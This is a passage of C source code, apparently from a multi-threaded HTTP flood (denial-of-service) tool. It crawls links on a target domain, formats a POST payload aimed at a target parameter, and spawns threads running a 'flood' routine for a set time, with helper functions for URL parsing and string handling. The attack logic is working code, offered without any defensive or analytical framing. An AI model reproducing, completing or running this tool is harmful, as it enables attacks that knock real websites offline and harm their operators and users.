  723. strncpy(hreftarget, hrefstart, strchr(hrefstart, '\'') - hrefstart);
  724. } else {
  725. char *end = NULL;
  726. if(strchr(hrefstart, ' ') > strchr(hrefstart, '>'))
  727. {
  728. end = strchr(hrefstart, '>');
  729. } else {
  730. end = strchr(hrefstart, ' ');
  731. }
  732. hreftarget = malloc(end - hrefstart + 1);
  733. bzero(hreftarget, end - hrefstart + 1);
  734. strncpy(hreftarget, hrefstart, end - hrefstart);
  735. }
  736. if(strcmp(hreftarget, "#") == 0 || stristr(hreftarget, "javascript:") != NULL)
  737. {
  738. free(hreftarget);
  739. continue;
  740. }
  741. char *scrapenext;
  742. setupparts();
  743. parseURL(hreftarget, returnparts);
  744. if(!(*(returnparts[path]->value)))
  745. {
  746. freeparts();
  747. continue;
  748. }
  749. if(*(returnparts[host]->value))
  750. {
  751. if(strcmp(returnparts[host]->value, original_domain) != 0)
  752. {
  753. freeparts();
  754. continue;
  755. }
  756. scrapenext = hreftarget;
  757. } else {
  758. scrapenext = malloc(7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
  759. bzero(scrapenext, 7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
  760. strcpy(scrapenext, "http://");
  761. strcpy(scrapenext + 7, original_domain);
  762. strcpy(scrapenext + 7 + strlen(original_domain), "/");
  763. strcpy(scrapenext + 7 + strlen(original_domain) + 1, returnparts[path]->value);
  764. char *tmp = malloc(strlen(original_domain)+2);
  765. bzero(tmp, strlen(original_domain)+2);
  766. sprintf(tmp, "%s/", original_domain);
  767. char *tmp2 = malloc(strlen(original_domain)+3);
  768. bzero(tmp2, strlen(original_domain)+3);
  769. sprintf(tmp2, "%s//", original_domain);
  770. char *scrapenext_tmp = str_replace(scrapenext, tmp2, tmp);
  771. if(scrapenext_tmp != NULL)
  772. {
  773. free(scrapenext);
  774. scrapenext = scrapenext_tmp;
  775. }
  776. free(tmp);
  777. free(tmp2);
  778. }
  779. freeparts();
  780. int alreadyadded = 0;
  781. if(headurl->next == headurl)
  782. {
  783. if(strcmp(headurl->url, scrapenext) == 0)
  784. {
  785. alreadyadded = 1;
  786. }
  787. } else {
  788. struct urllist *dup = headurl->next;
  789. while(dup != headurl)
  790. {
  791. if(dup->url == NULL)
  792. {
  793. dup->prev->next = dup->next;
  794. dup->next->prev = dup->prev;
  795. dup = dup->next;
  796. continue;
  797. }
  798. if(strcmp(dup->url, scrapenext) == 0)
  799. {
  800. alreadyadded = 1;
  801. break;
  802. }
  803. dup = dup->next;
  804. }
  805. }
  806. if(alreadyadded == 0)
  807. {
  808. struct urllist *newurl = malloc(sizeof(struct urllist));
  809. bzero(newurl, sizeof(struct urllist));
  810. newurl->url = scrapenext;
  811. newurl->done = 0;
  812. newurl->next = headurl->next;
  813. newurl->prev = headurl;
  814. headurl->next = newurl;
  815. }
  816. }
  817. headurl->done = 1;
  818. headurl = headurl->next;
  819. free(headerstatus);
  820. free(buffer);
  821. }
  822. END:
  823. free(original_domain);
  824. } else {
  825. freeparts();
  826. }
  827. setupparts();
  828. parseURL(targeturl, returnparts);
  829. pthread_t thread[num_threads];
  830. struct list *td[num_threads];
  831. struct list *node = head->next;
  832.  
  833.  
  834. for(i=0;i<num_threads;i++)
  835. {
  836. td[i] = node;
  837. node = node->next;
  838. }
  839. postpayload = malloc(4096);
  840. sprintf(postpayload, postformat, returnparts[path]->value, returnparts[host]->value, targetparameter);
  841. freeparts();
  842.  
  843. //fprintf(stdout, "Starting Flood...\n");
  844.  
  845. fnAttackInformation(atoi(argv[argc-1]));
  846.  
  847. for(i = 0;i<num_threads;i++){
  848. pthread_create( &thread[i], NULL, &flood, (void *) td[i]);
  849. }
  850. sleep(atoi(argv[5]));
  851. return 0;
  852. }
  853. char *geturl(char *url, char *useragent, char *ip)
  854. {
  855. RETRY:
  856. setupparts();
  857. parseURL(url, returnparts);
  858. struct sockaddr_in serverAddr;
  859. bzero(&serverAddr, sizeof(serverAddr));
  860. serverAddr.sin_family = AF_INET;
  861. serverAddr.sin_port = htons(ATTACKPORT);
  862. serverAddr.sin_addr.s_addr = inet_addr(ip);
  863. int serverSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  864. unsigned int yes = 1;
  865. setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes));
  866. if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
  867. {
  868. printf("GETURL CONNECT FAILED, RETRYING\n");
  869. close(serverSocket);
  870. freeparts();
  871. goto RETRY;
  872. }
  873. int bytes = 0;
  874. char *payload = malloc(8094);
  875. bzero(payload, 8094);
  876. sprintf(payload, "GET /%s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\nUser-Agent: %s\r\n\r\n", returnparts[path]->value, returnparts[host]->value, useragent);
  877. freeparts();
  878. bytes = send(serverSocket, payload, strlen(payload), MSG_NOSIGNAL);
  879. if(bytes == -1)
  880. {
  881. printf("GETURL SEND FAILED, SITE CLOSED CONNECTION, RETRYING\n");
  882. close(serverSocket);
  883. goto RETRY;
  884. }
  885. int total = 0;
  886. int currentsize = 4096;
  887. char *buffer = malloc(4096);
  888. bzero(buffer, 4096);
  889. bytes = recv(serverSocket, buffer, 4096, 0);
  890. while(bytes > 0)
  891. {
  892. total += bytes;
  893. if(total+4096 > currentsize)
  894. {
  895. char *new_buffer = malloc(total+4096);
  896. bzero(new_buffer, total+4096);
  897. memcpy(new_buffer, buffer, total);
  898. free(buffer);
  899. buffer = new_buffer;
  900. currentsize = total+4096;
  901. }
  902. bytes = recv(serverSocket, buffer+total, 4096, 0);
  903. }
  904. return buffer;
  905. }
  906. void freeparts()
  907. {
  908. return;
  909. if(returnparts[0]!=NULL) { free(returnparts[0]); }
  910. if(returnparts[1]!=NULL) { free(returnparts[1]); }
  911. if(returnparts[2]!=NULL) { free(returnparts[2]); }
  912. if(returnparts[3]!=NULL) { free(returnparts[3]); }
  913. if(returnparts[4]!=NULL) { free(returnparts[4]); }
  914. if(returnparts[5]!=NULL) { free(returnparts[5]); }
  915. if(returnparts[6]!=NULL) { free(returnparts[6]); }
  916. if(returnparts[7]!=NULL) { free(returnparts[7]); }
  917. if(returnparts[8]!=NULL) { free(returnparts[8]); }
  918. return;
  919. }
  920. void setupparts()
  921. {
  922. returnparts[0] = malloc(sizeof(struct urlparts));
  923. returnparts[1] = malloc(sizeof(struct urlparts));
  924. returnparts[2] = malloc(sizeof(struct urlparts));
  925. returnparts[3] = malloc(sizeof(struct urlparts));
  926. returnparts[4] = malloc(sizeof(struct urlparts));
  927. returnparts[5] = malloc(sizeof(struct urlparts));
  928. returnparts[6] = malloc(sizeof(struct urlparts));
  929. returnparts[7] = malloc(sizeof(struct urlparts));
  930. returnparts[8] = malloc(sizeof(struct urlparts));
  931. bzero(returnparts[0], sizeof(struct urlparts));
  932. bzero(returnparts[1], sizeof(struct urlparts));
  933. bzero(returnparts[2], sizeof(struct urlparts));
  934. bzero(returnparts[3], sizeof(struct urlparts));
  935. bzero(returnparts[4], sizeof(struct urlparts));
  936. bzero(returnparts[5], sizeof(struct urlparts));
  937. bzero(returnparts[6], sizeof(struct urlparts));
  938. bzero(returnparts[7], sizeof(struct urlparts));
  939. bzero(returnparts[8], sizeof(struct urlparts));
  940. returnparts[0]->name = "scheme";
  941. strcpy(returnparts[0]->separator, ":");
  942. returnparts[1]->name = "userid";
  943. strcpy(returnparts[1]->separator, "@");
  944. returnparts[2]->name = "password";
  945. strcpy(returnparts[2]->separator, ":");
  946. returnparts[3]->name = "host";
  947. strcpy(returnparts[3]->separator, "//");
  948. returnparts[4]->name = "port";
  949. strcpy(returnparts[4]->separator, ":");
  950. returnparts[5]->name = "path";
  951. strcpy(returnparts[5]->separator, "/");
  952. returnparts[6]->name = "param";
  953. strcpy(returnparts[6]->separator, ";");
  954. returnparts[7]->name = "query";
  955. strcpy(returnparts[7]->separator, "?");
  956. returnparts[8]->name = "fragment";
  957. strcpy(returnparts[8]->separator, "#");
  958. return;
  959. }
  960. int parseURL(char *url, struct urlparts **returnpart) {
  961. register i;
  962. int seplen;
  963. char * remainder;
  964. char * regall = ":/;?#";
  965. char * regpath = ":;?#";
  966. char * regx;
  967. if(!*url)
  968. {
  969. strcpy(parseError, "nothing to do!\n");
  970. return 0;
  971. }
  972. if((remainder = malloc(strlen(url) + 1)) == NULL)
  973. {
  974. printf("cannot allocate memory\n");
  975. exit(-1);
  976. }
  977. strcpy(remainder, url);
  978. if(firstpunc(remainder) == ':')
  979. {
  980. strcpy(returnpart[scheme]->value, strsplit(remainder, returnpart[scheme]->separator));
  981. strleft(remainder, 1);
  982. }
  983. if (!strcmp(returnpart[scheme]->value, "mailto"))
  984. *(returnpart[host]->separator) = 0;
  985. for(i = 0; i < NUMPARTS; i++)
  986. {
  987. if(!*remainder)
  988. break;
  989. if(i == scheme || i == userid || i == password)
  990. continue;
  991. if(i == host && strchr(remainder, '@'))
  992. {
  993. if(!strncmp(remainder, "//", 2))
  994. strleft(remainder, 2);
  995. strcpy(returnpart[userid]->value, strsplit(remainder, ":@"));
  996. strleft(remainder, 1);
  997. if(strchr(remainder, '@'))
  998. {
  999. strcpy(returnpart[password]->value, strsplit(remainder, "@"));
  1000. strleft(remainder, 1);
  1001. }
  1002. *(returnpart[host]->separator) = 0;
  1003. }
  1004. if(i == path && (! *(returnpart[scheme]->value)))
  1005. {
  1006. *(returnpart[path]->separator) = 0;
  1007. strcpy(returnpart[scheme]->value, "http");
  1008. }
  1009. regx = (i == path) ? regpath : regall ;
  1010. seplen = strlen(returnpart[i]->separator);
  1011. if(strncmp(remainder, returnpart[i]->separator, seplen))
  1012. continue;
  1013. else
  1014. strleft(remainder, seplen);
  1015. strcpy(returnpart[i]->value, strsplit(remainder, regx));
  1016. }
  1017. if(*remainder)
  1018. sprintf(parseError, "I don't understand '%s'", remainder);
  1019. free(remainder);
  1020. return 0;
  1021. }
  1022. char *str_replace(char *orig, char *rep, char *with) {
  1023. char *result;
  1024. char *ins;
  1025. char *tmp;
  1026. int len_rep;
  1027. int len_with;
  1028. int len_front;
  1029. int count;
  1030. if (!orig)
  1031. return NULL;
  1032. if (!rep || !(len_rep = strlen(rep)))
  1033. return NULL;
  1034. if (!(ins = strstr(orig, rep)))
  1035. return NULL;
  1036. if (!with)
  1037. with = "";
  1038. len_with = strlen(with);
  1039. for (count = 0; tmp = strstr(ins, rep); ++count) {
  1040. ins = tmp + len_rep;
  1041. }
  1042. tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1);
  1043. if (!result)
  1044. return NULL;
  1045. while (count--) {
  1046. ins = strstr(orig, rep);
  1047. len_front = ins - orig;
  1048. tmp = strncpy(tmp, orig, len_front) + len_front;
  1049. tmp = strcpy(tmp, with) + len_with;
  1050. orig += len_front + len_rep;
  1051. }
  1052. strcpy(tmp, orig);
  1053. return result;
  1054. }
  1055. char *stristr(const char *String, const char *Pattern)
  1056. {
  1057. char *pptr, *sptr, *start;
  1058. uint slen, plen;
  1059. for (start = (char *)String,
  1060. pptr = (char *)Pattern,
  1061. slen = strlen(String),
  1062. plen = strlen(Pattern);
  1063. slen >= plen;
  1064. start++, slen--)
  1065. {
  1066.  
  1067. while (toupper(*start) != toupper(*Pattern))
  1068. {
  1069. start++;
  1070. slen--;
  1071.  
  1072. if (slen < plen)
  1073. return(NULL);
  1074. }
  1075. sptr = start;
  1076. pptr = (char *)Pattern;
  1077. while (toupper(*sptr) == toupper(*pptr))
  1078. {
  1079. sptr++;
  1080. pptr++;
  1081.  
  1082. if ('\0' == *pptr)
  1083. return (start);
  1084. }
  1085. }
  1086. return(NULL);
  1087. }
  1088. char * strsplit(char * s, char * tok) {
  1089. #define OUTLEN (255)
  1090. register i, j;
  1091. static char out[OUTLEN + 1];
  1092. for(i = 0; s[i] && i < OUTLEN; i++)
  1093. {
  1094. if(strchr(tok, s[i]))
  1095. break;
  1096. else
  1097. out[i] = s[i];
  1098. }
  1099. out[i] = 0;
  1100. if(i && s[i])
  1101. {
  1102. for(j = 0; s[i]; i++, j++) s[j] = s[i];
  1103. s[j] = 0;
  1104. }
  1105. else if (!s[i])
  1106. *s = 0;
  1107. return out;
  1108. }
  1109. char firstpunc(char * s) {
  1110. while(*s++)
  1111. if(!isalnum(*s)) return *s;
  1112. return 0;
  1113. }
  1114. int strleft(char * s, int n) {
  1115. int l;
  1116. l = strlen(s);
  1117. if(l < n)
  1118. return -1;
  1119. else if (l == n)
  1120. *s = 0;
  1121. memmove(s, s + n, l - n + 1);
  1122. return n;
  1123. }
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